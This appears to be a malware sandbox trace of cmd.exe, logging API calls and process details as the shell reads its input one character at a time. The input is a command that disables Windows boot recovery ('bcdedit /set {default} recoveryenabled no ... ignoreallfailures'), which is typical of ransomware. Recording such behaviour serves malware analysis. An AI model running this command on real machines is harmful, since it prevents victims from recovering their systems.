	[0234.321] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0234.321] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xc90e98f5c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f5c8*=0x14, lpOverlapped=0x0) returned 1
	[0234.321] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.321] GetFileType (hFile=0x228) returned 0x3
	[0234.321] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.321] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.321] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.321] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c30, cchWideChar=1 | out: lpWideCharStr="wcdedit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.321] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.321] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.321] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.321] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c32, cchWideChar=1 | out: lpWideCharStr="bdedit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.321] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.321] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.321] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.321] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c34, cchWideChar=1 | out: lpWideCharStr="aedit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.321] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.321] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.321] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.321] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c36, cchWideChar=1 | out: lpWideCharStr="ddit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.321] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.321] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.322] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c38, cchWideChar=1 | out: lpWideCharStr="mit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.322] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.322] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.322] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3a, cchWideChar=1 | out: lpWideCharStr="it /set {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.322] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.322] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.322] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3c, cchWideChar=1 | out: lpWideCharStr="n /set {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.322] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.322] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.322] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3e, cchWideChar=1 | out: lpWideCharStr=" /set {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.322] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.322] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.322] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c40, cchWideChar=1 | out: lpWideCharStr="dset {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.322] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.322] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.322] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c42, cchWideChar=1 | out: lpWideCharStr="eet {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.322] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.322] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.322] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c44, cchWideChar=1 | out: lpWideCharStr="lt {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.322] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.322] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.323] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c46, cchWideChar=1 | out: lpWideCharStr="e {default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.323] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.323] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.323] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c48, cchWideChar=1 | out: lpWideCharStr="t{default} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.323] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.323] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.323] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4a, cchWideChar=1 | out: lpWideCharStr="edefault} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.323] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.323] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.323] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4c, cchWideChar=1 | out: lpWideCharStr=" efault} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.323] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.323] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.323] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4e, cchWideChar=1 | out: lpWideCharStr="cfault} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.323] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.323] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.323] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c50, cchWideChar=1 | out: lpWideCharStr="aault} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.323] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.323] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.323] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c52, cchWideChar=1 | out: lpWideCharStr="tult} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.323] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.323] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.323] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c54, cchWideChar=1 | out: lpWideCharStr="alt} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.324] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.324] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.324] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c56, cchWideChar=1 | out: lpWideCharStr="lt} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.324] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.324] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.324] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c58, cchWideChar=1 | out: lpWideCharStr="o} recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.324] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.324] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.324] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5a, cchWideChar=1 | out: lpWideCharStr="g recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.324] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.324] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.324] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5c, cchWideChar=1 | out: lpWideCharStr=" recoveryenabled no\nnoreallfailures\n") returned 1
	[0234.324] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.324] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.324] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5e, cchWideChar=1 | out: lpWideCharStr="-ecoveryenabled no\nnoreallfailures\n") returned 1
	[0234.324] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.324] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.324] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c60, cchWideChar=1 | out: lpWideCharStr="qcoveryenabled no\nnoreallfailures\n") returned 1
	[0234.324] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.324] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.324] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c62, cchWideChar=1 | out: lpWideCharStr="uoveryenabled no\nnoreallfailures\n") returned 1
	[0234.324] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.325] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.325] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c64, cchWideChar=1 | out: lpWideCharStr="iveryenabled no\nnoreallfailures\n") returned 1
	[0234.325] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.325] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.325] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c66, cchWideChar=1 | out: lpWideCharStr="eeryenabled no\nnoreallfailures\n") returned 1
	[0234.325] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.325] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.325] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0234.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c68, cchWideChar=1 | out: lpWideCharStr="tryenabled no\nnoreallfailures\n") returned 1
	[0234.325] _get_osfhandle (_FileHandle=0) returned 0x228
	[0234.325] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0234.325] ReadFile (hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0) 

Thread:
	id = 101
	os_tid = 0xdb4


Process:
	id = "15"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0xad87000"
	os_pid = "0xd70"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xd2c"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 89
	os_tid = 0xd74

	[0215.191] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff683550000
	[0215.191] __set_app_type (_Type=0x1) 
	[0215.191] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff683566d00) returned 0x0
	[0215.191] __getmainargs (in: _Argc=0x7ff683589200, _Argv=0x7ff683589208, _Env=0x7ff683589210, _DoWildCard=0, _StartInfo=0x7ff68358921c | out: _Argc=0x7ff683589200, _Argv=0x7ff683589208, _Env=0x7ff683589210) returned 0
	[0215.207] _onexit (_Func=0x7ff683567fd0) returned 0x7ff683567fd0
	[0215.207] _onexit (_Func=0x7ff683567fe0) returned 0x7ff683567fe0
	[0215.207] _onexit (_Func=0x7ff683567ff0) returned 0x7ff683567ff0
	[0215.207] _onexit (_Func=0x7ff683568000) returned 0x7ff683568000
	[0215.207] _onexit (_Func=0x7ff683568010) returned 0x7ff683568010
	[0215.210] _onexit (_Func=0x7ff683568020) returned 0x7ff683568020
	[0215.210] GetCurrentThreadId () returned 0xd74
	[0215.210] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd74) returned 0x70
	[0215.210] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff8628a0000
	[0215.210] GetProcAddress (hModule=0x7ff8628a0000, lpProcName="SetThreadUILanguage") returned 0x7ff8628ba990
	[0215.210] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0215.215] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0215.215] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x80182ffdc8 | out: phkResult=0x80182ffdc8*=0x0) returned 0x2
	[0215.215] VirtualQuery (in: lpAddress=0x80182ffdb4, lpBuffer=0x80182ffd30, dwLength=0x30 | out: lpBuffer=0x80182ffd30*(BaseAddress=0x80182ff000, AllocationBase=0x8018200000, AllocationProtect=0x4, __alignment1=0xffffc182, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0215.215] VirtualQuery (in: lpAddress=0x8018200000, lpBuffer=0x80182ffd30, dwLength=0x30 | out: lpBuffer=0x80182ffd30*(BaseAddress=0x8018200000, AllocationBase=0x8018200000, AllocationProtect=0x4, __alignment1=0xffffc182, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0215.215] VirtualQuery (in: lpAddress=0x8018201000, lpBuffer=0x80182ffd30, dwLength=0x30 | out: lpBuffer=0x80182ffd30*(BaseAddress=0x8018201000, AllocationBase=0x8018200000, AllocationProtect=0x4, __alignment1=0xffffc182, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
